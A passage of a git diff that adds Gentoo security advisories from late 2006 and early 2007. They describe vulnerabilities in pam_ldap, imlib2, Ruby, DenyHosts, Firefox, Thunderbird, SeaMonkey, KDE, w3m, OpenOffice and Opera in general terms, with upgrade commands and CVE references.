+    "PasswordPolicyResponse" control responses from an LDAP directory. This
+    causes the pam_authenticate() function to always succeed, even if the
+    previous authentication failed.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A locked user may exploit this vulnerability to bypass the LDAP
+    authentication mechanism, possibly gaining unauthorized access to the
+    system.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All pam_ldap users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-auth/pam_ldap-183&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5170">CVE-2006-5170</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 19 Dec 2006 16:57:27 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 19 Dec 2006 16:58:04 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-20.xml b/xml/htdocs/security/en/glsa/glsa-200612-20.xml
new file mode 100644
index 00000000..a3153d5b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-20.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-20">
+  <title>imlib2: Multiple vulnerabilities</title>
+  <synopsis>
+    imlib2 contains several vulnerabilities that could lead to the remote
+    execution of arbitrary code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">imlib2</product>
+  <announced>December 20, 2006</announced>
+  <revised>December 20, 2006: 01</revised>
+  <bug>154216</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/imlib2" auto="yes" arch="*">
+      <unaffected range="ge">1.3.0</unaffected>
+      <vulnerable range="lt">1.3.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    imlib2 is an advanced replacement for image manipulation libraries such
+    as libXpm. It is utilized by numerous programs, including gkrellm and
+    several window managers, to display images.
+    </p>
+  </background>
+  <description>
+    <p>
+    M. Joonas Pihlaja discovered several buffer overflows in loader_argb.c,
+    loader_png.c, loader_lbm.c, loader_jpeg.c, loader_tiff.c, loader_tga.c,
+    loader_pnm.c and an out-of-bounds memory read access in loader_tga.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker can entice a user to process a specially crafted JPG, ARGB,
+    PNG, LBM, PNM, TIFF, or TGA image with an "imlib2*" binary or another
+    application using the imlib2 libraries. Successful exploitation of the
+    buffer overflows causes the execution of arbitrary code with the
+    permissions of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All imlib2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/imlib2-1.3.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4806">CVE-2006-4806</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4807">CVE-2006-4807</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4808">CVE-2006-4808</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4809">CVE-2006-4809</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 15 Dec 2006 16:10:27 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 18 Dec 2006 20:15:32 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 19 Dec 2006 16:42:29 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-21.xml b/xml/htdocs/security/en/glsa/glsa-200612-21.xml
new file mode 100644
index 00000000..b9f8fc38
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-21.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-21">
+  <title>Ruby: Denial of Service vulnerability</title>
+  <synopsis>
+    The Ruby cgi.rb CGI library is vulnerable to a Denial of Service attack.
+  </synopsis>
+  <product type="ebuild">ruby</product>
+  <announced>December 20, 2006</announced>
+  <revised>December 20, 2006: 01</revised>
+  <bug>157048</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/ruby" auto="yes" arch="*">
+      <unaffected range="ge">1.8.5_p2</unaffected>
+      <vulnerable range="lt">1.8.5_p2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby is a dynamic, open source programming language with a focus on
+    simplicity and productivity.
+    </p>
+  </background>
+  <description>
+    <p>
+    The read_multipart function of the CGI library shipped with Ruby
+    (cgi.rb) does not properly check boundaries in MIME multipart content.
+    This is a different issue than GLSA 200611-12.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    The vulnerability can be exploited by sending the cgi.rb library a
+    crafted HTTP request with multipart MIME encoding that contains a
+    malformed MIME boundary specifier. Successful exploitation of the
+    vulnerability causes the library to go into an infinite loop.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/ruby-1.8.5_p2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6303">CVE-2006-6303</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 19 Dec 2006 16:20:14 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 19 Dec 2006 16:20:29 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-01.xml b/xml/htdocs/security/en/glsa/glsa-200701-01.xml
new file mode 100644
index 00000000..d49d2a45
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-01.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-01">
+  <title>DenyHosts: Denial of Service</title>
+  <synopsis>
+    DenyHosts does not correctly parse log entries, potentially causing a
+    remote Denial of Service.
+  </synopsis>
+  <product type="ebuild">denyhosts</product>
+  <announced>January 03, 2007</announced>
+  <revised>January 03, 2007: 01</revised>
+  <bug>157163</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/denyhosts" auto="yes" arch="*">
+      <unaffected range="ge">2.6</unaffected>
+      <vulnerable range="lt">2.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    DenyHosts is designed to monitor SSH servers for repeated failed login
+    attempts.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team discovered that
+    DenyHosts used an incomplete regular expression to parse failed login
+    attempts.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote unauthenticated attacker can add arbitrary hosts to the
+    blacklist by attempting to login with a specially crafted username. An
+    attacker may use this to prevent legitimate users from accessing a host
+    remotely.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All DenyHosts users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/denyhosts-2.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6301">CVE-2006-6301</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 18 Dec 2006 22:34:37 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 01 Jan 2007 14:18:29 +0000">
+    taviso
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-02.xml b/xml/htdocs/security/en/glsa/glsa-200701-02.xml
new file mode 100644
index 00000000..ac181ec9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-02.xml
@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-02">
+  <title>Mozilla Firefox: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in Mozilla Firefox, some of
+    which may allow the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mozilla-firefox</product>
+  <announced>January 04, 2007</announced>
+  <revised>January 04, 2007: 01</revised>
+  <bug>156023</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.9</unaffected>
+      <vulnerable range="lt">1.5.0.9</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.9</unaffected>
+      <vulnerable range="lt">1.5.0.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is a popular open-source web browser from the Mozilla
+    Project.
+    </p>
+  </background>
+  <description>
+    <p>
+    An anonymous researcher found evidence of memory corruption in the way
+    Mozilla Firefox handles certain types of SVG comment DOM nodes.
+    Additionally, Frederik Reiss discovered a heap-based buffer overflow in
+    the conversion of a CSS cursor. Other issues with memory corruption
+    were also fixed. Mozilla Firefox also contains less severe
+    vulnerabilities involving JavaScript and Java.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to view a specially crafted web page
+    that will trigger one of the vulnerabilities, possibly leading to the
+    execution of arbitrary code. It is also possible for an attacker to
+    perform cross-site scripting attacks, leading to the exposure of
+    sensitive information, like user credentials.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds for all the issues at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.5.0.9&quot;</code>
+    <p>
+    All Mozilla Firefox binary release users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.5.0.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6497">CVE-2006-6497</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6498">CVE-2006-6498</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6499">CVE-2006-6499</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6500">CVE-2006-6500</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6501">CVE-2006-6501</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6502">CVE-2006-6502</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6503">CVE-2006-6503</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6504">CVE-2006-6504</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6506">CVE-2006-6506</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6507">CVE-2006-6507</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 28 Dec 2006 15:30:23 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 28 Dec 2006 16:10:02 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-03.xml b/xml/htdocs/security/en/glsa/glsa-200701-03.xml
new file mode 100644
index 00000000..7ca05a20
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-03.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-03">
+  <title>Mozilla Thunderbird: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in Mozilla Thunderbird, some of
+    which may allow the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mozilla-thunderbird</product>
+  <announced>January 04, 2007</announced>
+  <revised>January 04, 2007: 01</revised>
+  <bug>158571</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.9</unaffected>
+      <vulnerable range="lt">1.5.0.9</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.9</unaffected>
+      <vulnerable range="lt">1.5.0.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Thunderbird is a popular open-source email client from the
+    Mozilla Project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Georgi Guninski and David Bienvenu discovered buffer overflows in the
+    processing of long "Content-Type:" and long non-ASCII MIME headers.
+    Additionally, Frederik Reiss discovered a heap-based buffer overflow in
+    the conversion of a CSS cursor. Different vulnerabilities involving
+    memory corruption in the browser engine were also fixed. Mozilla
+    Thunderbird also contains less severe vulnerabilities involving
+    JavaScript and Java.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could entice a user to view a specially crafted email that
+    will trigger one of these vulnerabilities, possibly leading to the
+    execution of arbitrary code. An attacker could also perform cross-site
+    scripting attacks, leading to the exposure of sensitive information,
+    like user credentials. Note that the execution of JavaScript or Java
+    applets is disabled by default and enabling it is strongly discouraged.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds for all the issues at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Thunderbird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-1.5.0.9&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary release users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-1.5.0.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6497">CVE-2006-6497</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6500">CVE-2006-6500</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6501">CVE-2006-6501</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6502">CVE-2006-6502</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6503">CVE-2006-6503</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6505">CVE-2006-6505</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 28 Dec 2006 15:51:07 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 28 Dec 2006 16:10:06 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-04.xml b/xml/htdocs/security/en/glsa/glsa-200701-04.xml
new file mode 100644
index 00000000..16a03ad5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-04.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-04">
+  <title>SeaMonkey: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in the SeaMonkey project, some
+    of which may allow the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">seamonkey</product>
+  <announced>January 10, 2007</announced>
+  <revised>January 10, 2007: 01</revised>
+  <bug>158576</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/seamonkey" auto="yes" arch="*">
+      <unaffected range="ge">1.0.7</unaffected>
+      <vulnerable range="lt">1.0.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The SeaMonkey project is a community effort to deliver
+    production-quality releases of code derived from the application
+    formerly known as the 'Mozilla Application Suite'.
+    </p>
+  </background>
+  <description>
+    <p>
+    An anonymous researcher found evidence of memory corruption in the way
+    SeaMonkey handles certain types of SVG comment DOM nodes. Georgi
+    Guninski and David Bienvenu discovered buffer overflows in the
+    processing of long "Content-Type:" and long non-ASCII MIME email
+    headers. Additionally, Frederik Reiss discovered a heap-based buffer
+    overflow in the conversion of a CSS cursor. Several other issues with
+    memory corruption were also fixed. SeaMonkey also contains less severe
+    vulnerabilities involving JavaScript and Java.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could entice a user to load malicious JavaScript or a
+    malicious web page with a SeaMonkey application, possibly leading to
+    the execution of arbitrary code with the rights of the user running
+    those products. An attacker could also perform cross-site scripting
+    attacks, leading to the exposure of sensitive information, like user
+    credentials. Note that the execution of JavaScript or Java applets is
+    disabled by default in the SeaMonkey email client, and enabling it is
+    strongly discouraged.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds for all the issues at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SeaMonkey users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-1.0.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6497">CVE-2006-6497</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6498">CVE-2006-6498</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6499">CVE-2006-6499</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6500">CVE-2006-6500</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6501">CVE-2006-6501</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6502">CVE-2006-6502</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6503">CVE-2006-6503</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6504">CVE-2006-6504</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6505">CVE-2006-6505</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 28 Dec 2006 16:02:48 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 10 Jan 2007 21:26:08 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-05.xml b/xml/htdocs/security/en/glsa/glsa-200701-05.xml
new file mode 100644
index 00000000..55e9b1de
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-05.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-05">
+  <title>KDE kfile JPEG info plugin: Denial of Service</title>
+  <synopsis>
+    The KDE kfile JPEG info plugin of kdegraphics could enter an endless loop
+    leading to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">kdegraphics-kfile-plugins</product>
+  <announced>January 12, 2007</announced>
+  <revised>January 12, 2007: 01</revised>
+  <bug>155949</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/kdegraphics-kfile-plugins" auto="yes" arch="*">
+      <unaffected range="ge">3.5.5-r1</unaffected>
+      <vulnerable range="lt">3.5.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The KDE kfile-info JPEG plugin provides meta-information about JPEG
+    files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Marcus Meissner of the SUSE security team discovered a stack overflow
+    vulnerability in the code processing EXIF information in the kfile JPEG
+    info plugin.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to view a specially crafted JPEG
+    image with a KDE application like Konqueror or digiKam, leading to a
+    Denial of Service by an infinite recursion.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All KDE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdegraphics-kfile-plugins-3.5.5-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6297">CVE-2006-6297</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 22 Dec 2006 08:45:31 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 28 Dec 2006 16:52:12 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 12 Jan 2007 13:14:10 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-06.xml b/xml/htdocs/security/en/glsa/glsa-200701-06.xml
new file mode 100644
index 00000000..a90195db
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-06.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-06">
+  <title>w3m: Format string vulnerability</title>
+  <synopsis>
+    w3m does not correctly handle format string specifiers in SSL certificates.
+  </synopsis>
+  <product type="ebuild">w3m</product>
+  <announced>January 12, 2007</announced>
+  <revised>January 12, 2007: 01</revised>
+  <bug>159145</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/w3m" auto="yes" arch="*">
+      <unaffected range="ge">0.5.1-r4</unaffected>
+      <vulnerable range="lt">0.5.1-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    w3m is a multi-platform text-based web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    w3m in -dump or -backend mode does not correctly handle printf() format
+    string specifiers in the Common Name (CN) field of an X.509 SSL
+    certificate.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to visit a malicious website that would
+    load a specially crafted X.509 SSL certificate containing "%n" or other
+    format string specifiers, possibly resulting in the execution of
+    arbitrary code with the rights of the user running w3m.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All w3m users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/w3m-0.5.1-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6772">CVE-2006-6772</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 11 Jan 2007 00:57:23 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 11 Jan 2007 11:00:25 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-07.xml b/xml/htdocs/security/en/glsa/glsa-200701-07.xml
new file mode 100644
index 00000000..49997936
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-07.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-07">
+  <title>OpenOffice.org: EMF/WMF file handling vulnerabilities</title>
+  <synopsis>
+    A truncation error and integer overflows in the EMF/WMF file handling of
+    OpenOffice.org could be exploited to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">openoffice</product>
+  <announced>January 12, 2007</announced>
+  <revised>January 12, 2007: 01</revised>
+  <bug>159951</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/openoffice-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.1.0</unaffected>
+      <vulnerable range="lt">2.1.0</vulnerable>
+    </package>
+    <package name="app-office/openoffice" auto="yes" arch="*">
+      <unaffected range="ge">2.0.4</unaffected>
+      <vulnerable range="lt">2.0.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenOffice.org is an open source office productivity suite, including
+    word processing, spreadsheet, presentation, drawing, data charting,
+    formula editing, and file conversion facilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    John Heasman of NGSSoftware has discovered integer overflows in the
+    EMR_POLYPOLYGON and EMR_POLYPOLYGON16 processing and an error within
+    the handling of META_ESCAPE records.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit these vulnerabilities to cause heap overflows
+    and potentially execute arbitrary code with the privileges of the user
+    running OpenOffice.org by enticing the user to open a document
+    containing a malicious WMF/EMF file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround known at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenOffice.org binary users should update to version 2.1.0 or
+    later:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-bin-2.1.0&quot;</code>
+    <p>
+    All OpenOffice.org users should update to version 2.0.4 or later:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-2.0.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5870">CVE-2006-5870</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 09 Jan 2007 18:48:36 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 09 Jan 2007 19:06:14 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 12 Jan 2007 12:16:11 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200701-08.xml b/xml/htdocs/security/en/glsa/glsa-200701-08.xml
new file mode 100644
index 00000000..5f4c82a9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200701-08.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200701-08">
+  <title>Opera: Two remote code execution vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilities may allow the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">opera</product>
+  <announced>January 12, 2007</announced>
+  <revised>January 12, 2007: 01</revised>
+  <bug>160369</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">9.10</unaffected>
+      <vulnerable range="lt">9.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a multi-platform web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Christoph Deal discovered that JPEG files with a specially crafted DHT
+    marker can be exploited to cause a heap overflow. Furthermore, an
+    anonymous person discovered that Opera does not correctly handle
+    objects passed to the "createSVGTransformFromMatrix()" function.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could potentially exploit the vulnerabilities to execute
+    arbitrary code with the privileges of the user running Opera by
